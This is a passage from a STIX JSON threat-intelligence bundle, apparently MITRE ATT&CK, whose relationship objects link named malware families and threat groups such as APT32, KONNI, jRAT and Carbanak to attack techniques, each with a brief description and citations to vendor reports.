            "target_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "external_references": [
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                }
            ],
            "description": "(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)",
            "type": "relationship",
            "modified": "2020-03-20T16:37:06.707Z",
            "created": "2019-01-30T19:06:33.901Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used rundll32 for execution.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--b1d2f617-f0ca-43b8-921c-687fad920f39",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.602Z",
            "created": "2019-01-30T19:50:46.755Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) creates a shortcut called \"Anti virus service.lnk\" in an apparent attempt to masquerade as a legitimate file.(Citation: Talos Konni May 2017)",
            "id": "relationship--f4f3a2bc-d359-400e-8b1e-95d71a20c323",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T00:51:39.304Z",
            "created": "2019-01-31T00:36:40.976Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) established persistence using Registry Run keys, both to execute PowerShell and VBS scripts as well as to execute their backdoor directly.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)",
            "id": "relationship--f4a0f496-b47c-4bdf-affb-b57fb17203db",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.698Z",
            "created": "2019-01-31T01:07:58.711Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used VBA macros to display a dialog box and collect victim credentials.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--0ef0077e-ee87-4e67-a466-2085a9148fc9",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-06-23T19:52:35.801Z",
            "created": "2019-01-31T02:01:45.707Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--90073373-434c-403c-bbb1-779b25fccb3d",
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92",
            "external_references": [
                {
                    "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/",
                    "source_name": "TrendMicro Lazarus Nov 2018"
                }
            ],
            "description": "(Citation: TrendMicro Lazarus Nov 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.685Z",
            "created": "2019-01-31T01:17:09.504Z"
        },
        {
            "id": "relationship--962db69e-efe1-4e5f-b845-99294ace5eb0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a backdoor through which remote attackers can open a command-line interface.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:49:30.380Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fb11df98-790a-4b1c-9ca0-73224226cff3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) communicates over HTTP for C2.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:55:01.716Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eb0307d6-901d-4140-84f9-a08c6a8ea14c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a scheduled task.(Citation: ESET Gazer Aug 2017)(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:34:34.017Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--ac89c5e2-ade5-4889-a905-7dbe835ff5fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.(Citation: Symantec Pasam May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Pasam May 2012",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
            "type": "relationship",
            "modified": "2020-03-30T17:20:41.552Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--484add44-6a43-4700-b1bc-d64f24157353",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can download additional files from URLs.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.522Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--79f0712b-2cb1-47df-8ea1-26fb1502a831",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) encodes C2 traffic with base64.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:06:28.619Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over HTTP.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:35:36.650Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fb9cf04b-ad28-472a-9ee3-a2e744e0e122",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZLib](https://attack.mitre.org/software/S0086) mimics the resource version information of legitimate Realtek Semiconductor, Nvidia, or Synaptics modules.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T16:14:27.345Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c088f23e-b741-453c-a710-01990dead853",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather information about the operating system.(Citation: TechNet Systeminfo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Systeminfo",
                    "description": "Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb491007.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1"
        },
        {
            "id": "relationship--c4d77981-d2e4-4a12-8e52-5b7464cdc8fd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can download or upload files from its C2 server.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:14:55.988Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--c18f83e7-979e-4bd8-80bb-d0a4e8146a21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can access a connected webcam and capture pictures.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-04-24T17:52:48.033Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--cc705bf0-ba29-443e-9cd5-aef247505210",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) places scripts in the startup folder for persistence.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.632Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a2ad2bea-4359-47a8-ae5f-f18beab07316",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) can download and upload files to and from the victim\u2019s machine.(Citation: FireEye APT10 Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 Sept 2018",
                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html"
                }
            ],
            "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T02:46:42.686Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--730190b3-d372-4461-9bf4-94de4c078968",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) can download and execute files.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)(Citation: Symantec Frutas Feb 2013)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                },
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                },
                {
                    "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door",
                    "source_name": "Symantec Frutas Feb 2013"
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.396Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FTP](https://attack.mitre.org/software/S0095) operates over ports 21 and 20.(Citation: Wikipedia FTP)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Wikipedia FTP",
                    "description": "Wikipedia. (2016, June 15). File Transfer Protocol. Retrieved July 20, 2016.",
                    "url": "https://en.wikipedia.org/wiki/File_Transfer_Protocol"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--12904c83-67ad-430f-96ae-20e9081c2b5d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) has used rundll32.exe in a Registry value to establish persistence.(Citation: Bitdefender APT28 Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.618Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--56d858ef-2d62-4aa9-b050-699de9b048e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to download a file from the C2 server to the victim mobile device's SD card.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add"
        },
        {
            "id": "relationship--7af9715f-b85c-4fc5-8ef8-5884c8144178",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) uses the API call ShellExecuteW for execution.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.903Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ea2f957a-b144-4f06-b3fe-891df62f9444",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to take screenshots of the victim\u2019s machine.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                },
                {
                    "source_name": "Kaspersky Adwind Feb 2016",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf",
                    "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.486Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3a217a5a-b6c4-47c5-822a-5b278385c811",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) checks the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings</code> for proxy configurations information.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.457Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4e2f4bbd-ea3b-4996-bc2a-3d670d9f5cf5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) can perform screen capturing.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
